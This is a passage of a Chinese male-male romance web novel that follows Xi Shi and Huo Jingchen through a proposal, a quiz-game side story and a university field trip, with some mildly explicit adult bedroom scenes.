“怕什么,”霍思远笑,“你大概还不了解小叔在霍家的份量,以后你就会明白,能给你送礼物,是大家的荣幸。” 奚时:“这么夸张的么?” “对啊,嚣张点,你可是家主夫人,在霍家横着走都没人敢说你。” 奚时:“” 那确实挺嚣张的。 霍思远离开后不久,又来了个很年轻的小姐姐,她自我介绍叫霍轻语,也是霍景沉某个堂哥的女儿。 看到奚时的第一眼,霍轻语的眼睛就亮了。 “哇,你好好看啊。” 霍轻语往四周看了一眼,不见她小叔,立刻用一副坏姐姐欺骗纯良无辜小弟弟的语气说:“小美人,你要不要来给姐姐当人体模特,我画技很好的哦。” 奚小时以前也被美院的邀请过去当人体模特,但都是要求全/裸的,奚小时不缺钱,也没为艺术献身的想法,于是拒绝了。 他笑了笑,说:“穿衣服的可以。” “嗐,我们学艺术的,衣服对我们来说只是蔽体的东西,完全没必要在意啊,我又不会有别的想法。” 奚时:“” “而且你身材这么好,穿衣服多可惜啊,我们讲究形体美嗯?你眼睛怎么啦,进灰尘啦?今天没沙尘暴啊。” “他在暗示你我来了。” 霍景沉不带任何感情的声音从霍轻语身后响起,吓得霍轻语差点从沙发上弹起来。 “小小小,小叔,”霍轻语声音都颤抖了,“你走路怎么没声音的。” 霍景沉冷冷地说:“有声音怎么能听到你偷拐我的人。” “哪有!”霍轻语笑得一脸狗腿,“我跟小婶婶开玩笑的,就算他敢脱,我也不敢画啊!” 霍景沉:“你的机场大楼呢?竣工了?” “我提的花仙子方案你又不同意,没灵感了,你让我给小婶画一张呗,我保证不会让他裸/体出镜的。” 霍景沉想到霍轻语刚给他那头顶带绿的大楼设计图,自己头上就差点绿了,断然拒绝:“他害羞,不爱被人盯着,你找别人去。” 霍轻语:“” 霍轻语只能悻悻的走了,霍景沉冲奚时伸出手说:“走吧。” “去哪里?”奚时被他牵着站起来,问。 “去霍思远那里吃晚饭。” “哦” 管家给他们拿了外套,霍思远的家也在云顶,离霍景沉这里不是太远,二人决定走过去,今天没太阳,风一吹,冷空气都钻进骨头缝里去了。 “好像要下雪了。”奚时看了眼灰蒙蒙的天空,缩着脖子说道。 霍景沉“嗯”了一声,拉着他的手,塞进自己的大衣口袋里,说:“应该会下几天大雪,雪天路滑,你要不要就在我这里多住几天?” 这算盘打得,他哥在奚家都要听到了。 奚时听笑了,说:“我在你这里过夜都是冒死争取来的,在你这里住几天,我哥就要提着刀砍过来了。” 霍景沉皱眉:“你哥怎么跟个封建大家长一样?” “谁让你给他第一印象这么差,以前我跟邵寻一起时,他也不这样管我啊。” “” 自己在大舅哥心目中的印象居然连邵寻那东西都不如,霍景沉深刻反省。 “开玩笑的,”奚时见他眉头紧锁,赶紧说,“主要是我们身份差距太悬殊了,我哥也是没安全感。” “以前我有个堂姑,也是跟一个位高权重的男人谈恋爱,那男的跟她谈时信誓旦旦,说什么会对我堂姑好一辈子爱着她,可玩腻之后就把她甩了,把我堂姑整得直接自杀了,差点没救回来。” “后来,我堂姑家里人去找那男的要说法,还被人家以让他家破产威胁,最后轻飘飘的一百万就把我堂姑打发了。” 霍景沉听得眉皱得更深了:“谁?” 奚时:“叶家的。” 霍景沉:“叶二?” 奚时点点头,用开玩笑的口吻问:“怎么,你还想帮她出这口陈年恶气啊。” “不用我出头,”霍景沉说,“叶二得了癌症,活不了几天了。” 奚时一愣,随即笑道:“那真是太好了,希望病魔早点战胜他。” 霍景沉却是若有所思。 霍思远家里很热闹,那种能坐二十几人的大圆桌,全部坐满了,而且气氛很好。 奚时还以为这种大家族明争暗斗,大家说不定一碰面就阴阳怪气,各种打机锋,事实证明他想太多了,霍景沉在这个家族里有绝对的话语权,在他面前大家都和和乐乐客客气气的,气氛比班级聚会还要好。 吃完饭后,奚时和霍景沉又散步回家,还绕着整个小区转了一圈消食。 今天是元旦,小区里过节的氛围还挺浓厚,有不少小孩在院子里玩小烟花,闻着空气里的硝烟味,奚时说:“过年我们也买点烟花玩吧霍总。” “好,玩心这么重啊?” “弥补一下想玩烟花的童年嘛。”奚时笑嘻嘻地说。 他这话说得很随意,霍景沉却从中品尝出了一点苦涩,伸手把他揽进怀里说:“好,你以前缺失的东西,我都会给你补上。” “那”奚时眼珠子转了转,“母爱也可以吗?” 霍总在奚小时屁股上捏了一下,说:“母爱有点难,但父爱可以。” “”奚时脸瞬间红了,他才不要在床上的父爱! 这时,奚时感觉有什么冰冰凉凉的东西落在了脸上,他抬起头,欣喜地说:“下雪了!” 霍景沉也抬头去看,果真见到纷纷扬扬的雪花从头顶飘下来,下雪对于燕京来说并不是什么稀罕事,每年都要来几场。 不过这是今年的第一场雪,奚小时开心地看向霍景沉说:“哥,我们养一条哈士奇吧。” 霍景沉说:“你想要拉雪橇的话,一条不够。” “没有啊,我就觉得你们家这个院子和小区这么大,不养狗太可惜了。” “好,养。”霍景沉答应道。 “要公的,母的我怕它被别的公狗渣,意外怀孕就不好了。” “嗯,明天我让何昼去物色。” 奚时开心地把头靠在霍景沉肩上:“哥最好了。” 回到家后,两个人头上身上都被雪化的水弄湿了,霍景沉担心奚时感冒,催促他回房间去洗澡。 推开房间门,映入眼帘的,却是一堆礼物盒子。 奚时看得眼睛都亮了,转头问霍景沉:“哥,你是怎么看出我喜欢礼物的?” “你每次看到礼物盒子,眼睛都格外亮,”霍景沉推他走进去,说,“去洗澡,洗完出来拆礼物。” “好!” 奚时立刻拿了睡衣去洗澡,刚脱掉衣服,霍景沉敲浴室的门,奚时走过去打开,就被人推了进去,关上浴室门。 一直过了快一个小时的时间,浴室门才重新打开,奚时眼尾泛红、脚步虚浮地从里面走出来。 霍景沉过了一会才出来,见他头发湿漉漉地坐在地板上,正在拆礼物,无奈地拿着干毛巾过去给他擦头发。 “在奚家时,收不到礼物吗?”霍景沉问。 按道理讲,像奚时这种小少爷,应该收礼物都收到腻的程度,像霍思议、霍思远他们,对于别人送他们的礼物,完全失去兴趣,有时候连拆都不想拆。 他感觉奚时有这种小爱好,估计还是跟他的成长环境有关。 奚时抿了下唇。 他父母还在时,过生日或者过年,也能收到很多礼物。 可自从父母去世,寄人篱下之后,就再也没有这种待遇了,有客人来家里,带礼物也会漏掉他,奚时从小到大收到最多的,是来自奚朝的礼物。 不过奚朝一个直男,送礼物都很直接,不会浪费心思去包装,经常看一眼就知道是什么了,也没拆礼物的惊喜。 奚时还不怎么懂事的时候,特别羡慕奚玥,因为她生日时,收到的礼物能堆成小山,家里需要专门一个空房间来堆她的礼物。 小奚时曾提出帮奚玥一起拆礼物,他完全没有别的意思,就纯粹想体验开盲盒的快乐,结果不但被奚玥拒绝了,她还告状到叔婶那里,说他想要偷她的生日礼物,叔婶倒是没说他,但给奚玥放礼物那个房间,自此就上了锁,外面还挂了个“奚时不准进入”的牌子。 后来那个牌子被住校回家的奚朝看到,大怒,严厉要求奚玥丢了。 奚玥心不甘情不愿地丢了,但那个牌子一直烙印在了小奚时心里,后面家里人谁的礼物、快递包裹,就是放坏了扔掉,他都不会多看一眼。 这些事情都过去了,奚时不想拿这种事情和霍景沉卖惨,说:“我哥经常送我礼物,他对我很好的。” 霍景沉当然看得出来奚朝那老母鸡护崽一样的姿态,肯定对奚时是好的,要不然也不能容忍大舅哥这阵子对他的各种刁难。 “以后会有很多人对你好。”霍景沉从身后揽着他,说。 “也不用很多人,有哥你就足够啦,我不贪心的。” 其实他已经很幸运了,在他失去双亲后,还有个哥哥对他那么好,让他可以快乐地长大,现在又碰到了霍景沉,他已经很幸运很满足了。 霍景沉“嗯”了一声,趁着奚时不注意,不动声色地把其中一个礼物盒子放在奚时的手边。 果然,奚时拆完一个礼物盒子后,顺手就拿起被霍景沉拨过去那个,这个礼物包装地很精美,奚时打开上面的蝴蝶结带子,把包装纸拿下来,发现里面是个丝绒盒子。 “咦,还有人给我送首饰么?” 奚时说着,好奇地打开那个盒子,接着就有点不知所措又心虚地转头看霍景沉。 盒子里装着的是一对素戒。 “不关我事啊!”奚时恨不得当场和这个送礼物的人划清界限。 不是,霍家人都这么虎的吗?给他送这种东西,不怕被霍景沉削啊。 然后他就听到了霍景沉发出闷笑。 奚时明白过来什么,瞪大眼睛看向霍景沉:“你送的?” “嗯。” 霍景沉从他手里拿过那对戒指,说:“虽然可能有点仓促,但我等不及了,奚时先生,你要不要考虑一下,跟我定下婚约?” 奚时反应了一下,才意识到霍景沉是在跟他求婚,干巴巴地说:“这,这会不会太急了。” 被他哥知道,会被打的QAQ “先定个婚约,结婚可以等你毕业,”霍景沉说,“我也想给你跟你在意的人一点安全感,证明我不是玩腻就跑的渣男,当然,也是给自己一个保障,把你套住。” 奚时脸一下红了。 他、他没想玩腻就跑啊,真的,他也很爱霍景沉的,跟爱他的身体一样爱。 “可以么?”霍景沉深邃的目光灼灼。 奚时定定地看着那对戒指,外面下着鹅毛的大雪,一窗之隔的房间里,萦绕着比春日还温暖的爱意。 半晌,他听到自己低声说:“好。” ——正文完—— 50-58 第51章 第 51 章 前提:奚小蛙不是恋爱脑。 所以请问如果奚小蛙发自内心地喜欢霍景沉, 顶着你的反对也要和霍景沉在一起,你会? A:不情不愿,但尝试接受。 B:把奚小蛙逐出家门。 好好好, 果然是这种套路。 想到他上次被迫选奚时不是恋爱脑时,那欠揍的奚小蛙唱今天是个好日子的气人场面, 奚朝冷笑一声, 直接选B。 页面跳转, 加载出一个背着破破烂烂小包裹的奚小蛙,眼泪汪汪看着屏幕, 头顶气泡:你忍心让我做一只没哥哥爱的流浪小蛙吗? A:忍心。 B:不忍心。 还题中题了是吧。 还流浪小蛙, 都跟首富了你还流浪? 呵!没有一点可以让别人共情的卖惨, 休想获得他一分钱的同情! 奚朝果断点了忍心。 点完,页面再次跳转,奚朝看清画面时,目光猛地一缩。 只见奚小蛙倒在地上,背上插着一支箭, 鲜血流了一地。 旁白:奚小蛙被狠心的哥哥创死了,可怜奚小蛙还给哥哥买了一条围巾, 再也没了送出去的机会…… 奚朝:“…………” 谁稀罕你的围巾! 不是, 谁知道他这么选会把奚小蛙玩死! 奚朝烦躁不已,不是说只有-15好感度才会触发恶毒哥哥buff么,现在才-10! 奚朝不想承认他有点小慌,即便这只是一个连游戏都算不上的问答小互动。 正在这时, 底下又跳出来一行字:是否开启if线——假如奚小蛙成功被你掐掉现在的桃花? 奚朝在那一刻, 什么都没想, 直接点击了开启。 页面再次跳转,屏幕上出现四个大字:未完待续…… 奚朝:“……” 所以他的围巾呢?!回来了吗? 可惜无论奚朝戳哪里, 都没有新的页面跳出来了,他阴暗扭曲爬行去偷窥霍景沉的问答,然后再次笑出声来。 霍景沉和奚时的好感度是-100。 他的页面没有任何问答,只有血淋淋的一行字—— 尝试追爱的奚小蛙被哥哥无情创死啦,死啦死啦!现在是重生之我是奚·钮祜禄·断情绝爱·蛙。 霍景沉也挺纳闷的,今天他本来可以刷到10好感度,解锁老婆的神秘奖励。 结果今天没有问答题,只有来自老婆的一句悄悄话。 奚小蛙悄悄对你说:哥哥顽固不化,我要开大卖惨啦! 然后,页面跳转,就出现了那一行血淋淋的字。 就……挺秃然的。 —— 火焰山除了雕像和比较奇特的地貌,游玩的点比较少,不过旁边有个骑骆驼项目,40块一次。 现在不是旅游旺季,几乎没什么游客,那些工作人员看到他们一大群学生仔,热情地招揽他们体验。 肖楠和郭昊跃跃欲试,奚时喜欢纵马驰骋的快乐,对这种被人牵着溜一圈的骑骆驼活动并不感兴趣,立刻说:“你们去吧,我帮你们拍照。” 他有带单反,拍出来的效果比手机拍的好看。 郭昊立刻说:“一定要把我拍得帅一点,我发给晓晓看,迷死她,嘿嘿嘿。” 奚时虽然这单反买来就没怎么玩过,但还是自信地说:“妥了,给你拍成吴彦祖。” 几个人走到买票的那里,骆驼数量有限,已经有同学先买票了,他们被排在第二批。 跟奚时单方面不和的赵嘉文就在第一批第一个。 也许是有了李博超的衬托,奚时连看讨人厌的赵嘉文都变得眉清目秀起来(不是)。 赵嘉文大概是想在喜欢的妹子面前表现一下,把自己的手机递给那个妹子,拜托她帮自己拍照,随即雄赳赳气昂昂地走到一匹高大的骆驼前。 结果那骆驼不懂事,他刚过去,就开始随地小便,一大泡滂臭的尿哗啦啦地打在岩沙粒地面上,要不是赵嘉文反应快躲得及时,准被溅一裤脚。 不少同学拍完照都过来骑骆驼或者围观骑骆驼,见状发出哄堂大笑。 “赵嘉文,驼哥给你赐圣水呢,还不快快拜谢驼哥。”班上一个男生大声叫道。 赵嘉文回了句“滚”,但也没兴趣骑那匹骆驼了,选了另外一匹。 骆驼在工作人员的指令下趴下,赵嘉文骑上去,工作人员牵着骆驼绕着平地走一大圈,赵嘉文适应了一会高度,又觉得自己行了,转头对着他们这个方向比“耶”,还放开双手用手臂摆比心的poss。 还没得意几分钟,工作人员忽然用不标准的普通话说:“抓好咯。” 赵嘉文还没听清,那骆驼忽然小跑起来,这骆驼只有驼峰中间有个坐的垫子,并没有像骑马那样有脚蹬,加上又高。 它一跑,上一秒还耍帅的赵嘉文大叫一声,狼狈地俯身抱住前面的驼峰,嘴里大喊大叫:“别跑,师傅,要掉下去了,停下来啊啊啊!” 围观的同学笑得前仰后合。 肖楠用手做成话筒状喊:“煞笔,坐垫不是有扶手吗,你扶扶手啊!” 赵嘉文闻言脑子才跟回到地球一样,赶紧扶住扶手。 不过即便骆驼只跑了一小段就停下来,也没再有心情耍帅了,规规矩矩地任由工作人员拉着骆驼转了一圈,从骆驼上下来的时候,还差点因为腿软摔倒。 “靠,这么高没踩脚的地方,还突然就跑起来了,不讲武德。”赵嘉文回到人群中后,开始给自己挽尊。 其实那工作人员有提醒他踩好,只是赵嘉文忙着摆poss耍帅没听清,不过大家没揭穿他让他下不来台。 奚时一向不爱搭理赵嘉文,现在却故意冲他举了举手中的单反,贱兮兮地说:“我刚刚拍了很多你的帅照,回头导出来发给你啊。” 赵嘉文脸色铁青:“不需要!” 别以为他刚刚没听到奚时笑得最大声,还帅照,肯定丑炸了! 他算是看清了,奚时这人表面温和好相处,一副人人可欺的样子,其实芯子里坏透了,锱铢必较有仇必报。 偏偏那些女生还觉得他好温顺好无辜好可爱,被迷得不要不要的。 就很气! 吃过午饭之后,下午去葡萄沟,现在是冬季,葡萄沟已经没有葡萄了,连葡萄树的主干都被埋在了土里面,葡萄园只有一个个大土包,和视频里刷到的完全不同。 大家来的时候都对这个天下第一甜沟充满期待,看到这样子的葡萄沟未免大失所望。 只有带队的老教授,还在津津有味地给他们讲解葡萄沟这独特的气候、水文和地形地貌形成,愣是把一群学生讲得两眼一黑,昏昏欲睡。 好不容易熬到可以自由活动,原本一副半死不活的学生瞬间像被打了鸡血,全活过来了,一哄而散,气得老教授恨不得把这些兔崽子抓回来再讲一遍。 葡萄沟的几个经典刚刚基本已经走了一遍了,郭昊用手机搜了一下,发现这附近有一条青蛙巷,据说是葡萄沟特别出名的小巷,可以去那里逛。 跟着导航到了青蛙巷,这里和冷冰冰的景区不同,充满市井的气息,而且很有民族特色,让人有种穿越时空的错觉。 “奚时,奚时。” 正走着,奚时听到有人在叫他名字,转头看,是几个班上的女生。 看到他看过去,几个女生冲他招手,示意他过去。 “怎么了?”奚时走过去问。 “你把脸伸进去,让我们看一下效果呗。” 其中一个女生指着旁边的空脸雕塑,说道。 那雕塑是一个翩翩起舞的维吾尔族姑娘,姑娘穿着一条粉色的维族裙子,身姿曼妙,啥都好。 除了没有脸。 奚时后退一步:“还是算了吧,我一个大老爷们的脸,跟这么漂亮的身体肯定不搭。” 文艺委员道:“那不一定,就让我们看看效果呗。” “不了不了。” 奚时立刻想跑,却被郭昊坏心眼地堵住退路:“别啊,奚哥,让我们也看看吧。” “就是就是,”妹子面前,肖楠也背叛革命道,“这么多妹子想看呢,你怎么忍心拒绝的。” 奚时:“” 奚时狠狠瞪了这两个损友一眼,但无济于事,被他们架到了那个空脸雕塑旁,不得已,奚时只能配合他们的指挥,把头伸进去。 “哇!好看!”文艺委员眼睛一亮,“完美契合了。” “我看看我看看。” 肖楠也跑到前面去看,也“哇”了一声,说:“我们奚哥不愧是燕大第一美,这么一看,更美了。” 奚时:“” 奚时立刻想走,又被那几个女生缠住了,非要他做几个她们想看的表情,拍完她们想拍的照后,他的头才被允许拿出来。 离开那塑像区,肖楠立刻献宝似的把手机凑到奚时跟前,说:“真的好看,奚哥,你看。” 奚时凑过去看,也不知道这雕像是新塑的原因,还是维族人天生白,雕像也塑得白,奚时瓷白的脸和雕像人的白几乎是一个色的,脸也小小,伸进去之后,几乎毫无违和感。 特别是几张他按照那几个女生的要求做出的表情,更是和跳着舞的雕像人契合上了,真跟他穿上了维族的裙子和头纱,在翩翩起舞一样。 好好好,没想到有朝一日,他也“女装”上了,还是异族的女装。 不过今天发第二张明信片的素材有了。 回到酒店后,奚时悄悄私戳文艺委员,让她把拍的照片发给自己一份。 文艺委员跟他关系好,很大方地把照片都发给他了,奚时找出一张看起来最没违和感的,打开群,把照片发出去。 拍的时候很羞耻,发的时候手贼快。 奚朝收到明信片的时候正在奚家,他父母在为着离婚的事情吵架。 奚夫人坚决要离婚,而且离婚的前提是要奚锦年净身出户,一个子都不准带走。 奚锦年这些年为了家族事业,也算是兢兢业业,殚精竭虑,而且他觉得自己只是犯了男人都会犯的错,没有到需要净身出户这种地步。 所以他可以保证以后不再插手集团的事务,全权交给奚朝管,但绝不会同意净身出户。 奚夫人不同意,开始跟他翻旧账,奚锦年也跟她翻,两个人顿时吵得面红耳赤。 奚朝一开始还劝两句,劝到后面就麻木了。 从小到大,父母的婚姻在他的眼中都是爱情该有的样子,甚至懂得情爱后,从他们的相处中学会了许多以后应该怎么处理和爱人的关系,是他对婚姻生活的启蒙示范。 现在,揭开那层恩爱的面纱,他母亲成了他父亲口中的母老虎、控制狂,他父亲变成了他母亲口中的伪君子、软脚虾,甚至差点大打出手。 奚朝面无表情地用手机处理一些工作上的事务,全把他们的吵架当成办公伴奏曲。 正在这时,微信提示,旅行奚小蛙群有新消息。 想到上午被自己创死那只蛙,奚朝指尖一顿,深吸了好大一口气,才点开群消息,看看这个同样让他不省心的弟弟又放了什么屁。 【你的奚小蛙给你寄明信片啦~】 你的奚小蛙说:嘿~哈~是谁送你来到我身……不对,错频啦,今天是跳舞的女装蛙噢! 奚朝往下看图片,第一眼还真以为自己弟弟穿了个维族的女装,被视觉欺骗了好一会儿,才发现那只是一个空脸雕塑。 居然毫无违和感。 神金,害他笑了一下。 奚朝的心情在看到奚时的这张照片后,一瞬间好了许多,连耳边他妈撕心裂肺的哭泣声都变顺耳了。 照理说这会儿他应该上前安抚他妈,但大概是从事发到现在,见过她太多眼泪。 而且伴随着眼泪而来的,必定是“你是不是也觉得男人出轨养小三天经地义?”、“你也觉得那个小三比我年轻漂亮对吗?”之类奇奇怪怪的质问,他已经不想回答了。 奚朝继续往下划拉,果然看到下面还有熟悉的提问。 前提:这是if线,奚小蛙对哥哥的好感度是绝对的100%,问题答案可以根据你内心的真实想法选哦。 现在,奚小蛙和霍景沉已经成功被你拆散啦,撒花~ 几年后,和奚小蛙同龄的人都差不多结婚啦,你也开始操心奚小蛙的终身大事。 那么请问,在你心中,符合奚小蛙的完美婚姻是怎么样的? A:门当户对的联姻 B:自由恋爱 C:必须是我认可下的自由恋爱。 奚朝眼皮一跳。 这还用选? 但怎么总感觉有坑? 不管,先选了再说,奚朝自信选C。 页面跳转,被套了个小西装的奚小蛙卡通人物乖巧看着屏幕,头顶气泡:好的哥哥,明天小蛙就把想自由恋爱的对象带到你面前,你帮小蛙挑嗷~ 奚朝:“???” 不是,这不是个文字提问游戏吗?为什么有种他弟弟成了他提线木偶的感觉?! 面对乖乖巧巧看样子很听话实则没灵魂的小卡通人物,奚朝心里生出几分罪恶感。 要是他真不允许奚时和霍景沉在一起,几年后的奚时,不会真的变成这个样子吧。 不行,不能被一个小卡通人物骗得心软了。 奚朝立刻退出去视奸奚时给霍景沉发了啥,结果点进去就看到一个大红叉,下面跟着一行字:这是一个和奚小蛙好感度-100的坏人,奚小蛙拒绝给他寄明信片,达咩~ 奚朝:“” 不、不是,来真的啊。 当然不是真的,霍景沉点进这个界面,除了和奚朝看到的一样的界面,还有个举着小信封的小青蛙。 奚小蛙给你说悄悄话啦~是否阅读? 这种在大舅子眼皮子底下公然传小字条的感觉,令霍总心中十分愉悦。 他点了阅读,页面跳转,奚小蛙一口气给他寄了五张明信片,三张空脸塑像的,还有两张是同学帮拍的。 奚小蛙悄悄对你说:主人要和女装小蛙爱爱吗?[害羞] 霍景沉看笑了。 聊微信叫句主人都害羞,这里占着只能由他单方面输出,就裤子满天飞是吧。 今天就好好教奚小时做人。 —— 奚时明信片刚发出去不久,房间门就被敲响了,奚时以为是哪个同学,出去开门,谁知刚打开门,就有个高大的身影挤进来。 来人戴着口罩和鸭舌帽,奚时还没认出来是谁,来人就把门“嘭”一声关上了。 接着,奚时被人按在门板上,来人拉下口罩,炙热的气息落下来。 一切发生得太快,跟武侠片里采花贼对付手无缚鸡之力的小姑娘似的,奚时在闻到鼻翼间熟悉的味道时,才反应过来来人是谁,随即放松身体,任来人施为。 霍景沉一直吻到奚时站不住身体往下滑时,才放开他,把他抱在怀里。 奚时喘着气靠在他的怀里,问:“你怎么过来了?” “你才离开两天就出事情了,我要亲自过来看一眼才放心。”霍景沉声音低哑道。 奚时推他:“看完了,你可以走了。” “骗你的,”霍景沉打横把他抱起来,“其实我是想在床上听你叫主人。” 奚时:“……” “脸红什么?刚不是还说要穿女装吗?” 奚时恨不得打个地洞钻进去,他占着已经把霍景沉放进免打扰列表了,就在那里口嗨,反正霍景沉怎么说的怎么想的,他又收不到。 有本事从手机里爬出来干他。 谁知霍景沉居然不按照常理出牌,他没办法从手机里爬出来,但他有钱,可以坐自己的飞机来啊。 “不行,我们还没复合。”奚时还想挣扎一下。 霍景沉:“那像以前一样,你付钱,嫖我。” 奚时:“…………” 你要不要听听你自己说的是不是人话。 “可以先验货,”霍景沉拉住他的手,放在自己的腹肌上,“看看符不符合你对身材好肌肉猛男的想象。” 奚时愣了一下,才反应过来这身材好肌肉猛男,应该是对应李博超发的那个帖子他曾经说过的话。 说实话,他自己都不记得什么时候说过这种话了。 按照他的性格,应该不会在大庭广众之下说出这么露骨的话才对。 奚时趁机在霍景沉的腹肌上摸了好几把吃豆腐,评头论足:“手感不错,不过我得多摸几个人的,对比验证以后,才能回答你这个问题。” 奚时皮这一下很开心,接着就被霍总制裁了。 奚时很想把霍景沉踹下床,可他实践了一天,这会儿已经没啥力气了,踹不动这比他高大威猛许多的臭男人。 霍景沉到的时候,这边的太阳才刚刚落山,等他吃完第一顿大餐,外面已经暮色浓黑了。 “你有吃晚饭吗?”他把拦精灵丢进垃圾桶,问奚时。 奚时瘫在床上,眼尾发红,眼神聚不起焦,显然霍总这一顿吃得有点凶残了,把奚小蛙吃得回不过神了。 但奚小蛙这个样子太惹人,霍景沉又忍不住低头亲他眼尾。 正在这时,房间门又被敲了几下,原本还双目无神的奚时瞳孔猛地缩起来。 “你有关门吧。”他问霍景沉。 “关了,放心,没门卡进不来。” 奚时闻言,松了口气,踢霍景沉:“去看看是谁。” 踢完,他脑子才缓缓归位,立刻按住真要起身的霍景沉:“不对,你来这里我老师同学没看到吧?!” 霍景沉在他们学校也算是名人,要是被同学知道他大半夜的来找他,还睡在他房里,那不知道得多炸裂。 虽然霍景沉不是真正的老师,但现在终归是在给他们上选修课,爆出这种事情,对学校的影响不好,奚时更是会成为众矢之的的。 “放心吧,我我戴了帽子口罩,没人认出我来。” 这时奚时的手机亮了一下,是他们寝室群的消息。 郭昊:@你咋不上天你睡了吗? 郭昊:相机里的吴彦祖照片什么时候帮我导出来[羞涩] 郭昊:或者方便的话相机给我,我自己导。 你咋不上天:等下我发给你。 郭昊:行,你怎么敲门没动静啊,出去玩了吗? 你咋不上天:累,不想起。 霍景沉抱着他,看他打出这行字后,轻笑了一下,手揽住他的腰,两个人上次负距离接触还是在上次,只吃一顿,对于霍景沉这种食量大的男人来说,显然不够。 奚时想先把照片导出来,结果被霍景沉弄得没办法,主要原因还是他自己也没吃饱咳咳咳,于是配合地放松身体。 霍景沉忽然笑了一下。 “笑什么?”奚时瞪他。 霍景沉亲吻他的脸颊,说:“下次不用去买那东西,你用不着,不信你自己感受一下。” 说着,他拉着奚时的手,奚时意识到他要干什么,脸一下爆红,拼命想挣脱他收回自己的手,但被男人天天锻炼过分有力的手按住了。 当着奚时的面,他把奚时的手指按进去。 “感受到了吗,有自来水。”霍景沉说。 奚时:“………………” 他—要—报—警—了! 第52章 第 52 章 奚时没想到那个郭律师看着一身正气的, 为什么转头就把他买润/滑/剂这事情报告给了霍景沉,他不要面子的吗! 唯一庆幸的是,霍景沉把这事情压下来了, 没让他哥知道,不然他都不敢想象这事情会有多可怕的发展。 他哥大概会连夜杀过来把他做成葡萄肥吧…… 奚时羞得无地自容, 以至于完事去洗手时, 看到那哗哗流水的水龙头, 都感觉在看小h片。 该死,让他以后怎么面对自来水! 奚时气鼓鼓地回到房间, 结果就看到霍景沉靠在窗户边打电话, 身上只披了件酒店的浴袍, 带子松松垮垮地随便系了一下,修长的双腿交叠,他喜欢的大胸肌一览无遗。 这场景,跟老公从漫画里走出来了似的,让奚时觉得自来水的水龙头又松了。 “……” 我擦! 还能不能好了! 奚时赶紧把这乱七八糟的念头甩出脑子, 走到自己放包的地方,从包里拿出单反, 看到包里一叠红色的钞票弄乱了, 又把它们拿出来规整好。 现在的人几乎完全用不到纸钞了,不过奚时担心这里电子支付没那么发达,加上出远门身上放点现金比较安心,所以取了一万块出来。 结果完全没用上, 毕竟他们去的几乎都是景区, 哪里没有扫码支付。 奚时规整好, 正要把钱重新放回去时,想到什么, 又从里面抽了几张出来,想了想,放了2张回去。 他拿着几张钱,走到正在打电话的霍景沉身前,把钱塞进霍景沉快深V到腹肌的浴袍里,手还在人家浴袍里摸了一把。 “嫖-资。” 对上霍景沉疑惑的询问目光,奚时冲他用口型无声说,并强调:“两-次-的。” 霍景沉把那几张钱摸出来,看到是5张百元大钞时,给看笑了。 报复心这么强。 奚时讥讽完霍总,终于舒服了,拿着相机坐在床上,开始导白天的照片。 他这单反是大一时候买的二手相机。 当时一个挺要好的学姐,据说是某个知名明星的站姐,一有空就扛着相机去跟行程追爱豆。 结果好么,爱豆塌房了。 塌得彻彻底底连让粉丝连自我欺骗的空间都没有。 学姐伤心欲绝,据说还哭了三天三夜,然后叫了个收废品的大爷,把全部物料两毛钱一斤打包卖了,前前后后砸了估计十几万进去,卖垃圾连20块都没有。 这个相机她当时挂了个在鱼市很便宜的价格,奚时当时跟她关系不错,担心她只是一时冲动想摆脱过去,后面会后悔,于是先给她买下来了。 但之后学姐迅速有了别的爱好,并没有任何后悔的意思,奚时不想白白占她便宜,于是强行给她补了一部分钱,彻底盘下了这个单反。 不过奚小时太懒了,不爱出去玩,不出去玩就不会有拍照需求,这个单反从买来就放在那里吃灰,要不是这次来实践,说不定都不会被它主人想起来。 奚时把照片全部导到手机上,看到他拍出来的效果,有点傻眼。 不是,他记得他拍的挺好的呀,为什么成片这么……咳,这么一言难尽呢? 奚时挑了好一会,才挑出几张,发给郭昊。 郭昊:??? 郭昊:奚哥,说好的吴彦祖呢! 你咋不上天:[对手指]就你懂得,今天吴彦祖出门没化妆。 郭昊: 郭昊:[捂脸]我信了你的邪。 郭昊:哥,以后咱退出摄影界,把机会让给有手的人吧。 你咋不上天:…… 他没手,用脚拍的吗?! 奚时不服气,重新拿起单反相机,在房间里逡巡了一圈,最后把镜头对焦还没打完电话的霍景沉。 霍景沉注意到他的镜头,转头看过来。 奚时迅速按快门,一连抓拍了好几张。 导出来,装作无事发生地删掉眼睛不自然或者拍太急糊掉的,这不还是有两张能看的么! 霍景沉应该是工作上的急事,接完电话后又打了两个电话,一直到奚时叫的客房服务把做好的饭菜送过来,他才结束通话。 他没吃晚饭,这会儿闻到香喷喷的羊肉抓饭肚子饿得厉害,在桌子前坐下来,见奚时只叫了一份饭,还推到他面前,问:“你不吃?” “我吃过了,”奚时从他的饭里顺走一块羊排,说,“吃完你就赶紧回去吧忙碌的首富大人,我这里不需要你。” 霍景沉:“……” 果然还是那个奚小时,被喂饱后,不需要拔x也无情得很。 霍景沉说:“就一个项目出了点意外,已经解决好了,别的事物都能远程处理,我等你一块回去,你后天下午就能结束实践了吧?” 好不容易有机会能和老婆独处,当然什么工作都要往旁边放一放。 不然等他结束实践回到燕京,又要被大舅哥关起来,想见一面都难。 奚时啃羊排的动作一顿,随即垂下眼眸,说:“我不坐飞机的。” 霍景沉敏锐地察觉到了他情绪的不对劲,停下吃饭的动作,问:“怎么了?” 对于霍景沉,奚时没什么好隐瞒的,说:“我父母飞机失事没的。” 霍景沉微微愣住,随即,他拉了一下椅子靠近奚时,伸手把他揽进怀里。 “抱歉,我不知道。” 霍景沉知道他无父无母,寄住在叔婶家,但他并没有去刨根究底像调查嫌疑人一样把奚时摸个底朝天,真不知道这个事情。 奚时在他怀里窝了一会,推开他:“快吃,等下饭冷掉了会膻。” 霍景沉担心奚时想起父母,会心情不好,三下五除二吃完了饭,让人来把盘子收了,又去漱口刷牙。 回到床上,结果他看到奚小时裹着被子刷小视频,把自己笑成了一条蛆。 霍景沉松了一口气,脱掉浴袍上床,从身后抱住奚时。 奚时又刷到了一个无脑小短剧,短剧里的主角受被恶毒后妈欺负,关键时刻,大佬主角攻出场打脸。 霍景沉凑过去时,刚好西装革履的主角攻从车上下来,镜头给他转腕上手表的动作一个特写,看起来相当有逼格。 土狗奚时就爱看这种片段,正期待镜头给到主角攻的脸上,看看帅不帅时,听到霍景沉冷不丁地说:“手表是假的。” 奚时:“……” “看这身板也缺乏锻炼,肯定没你喜欢的肌肉。”霍景沉继续评价。 刚好这时镜头切到主角攻的脸上,虽然剧组已经努力往帅方面打造了,但还是普得很,让人瞬间没了看下去的兴致。 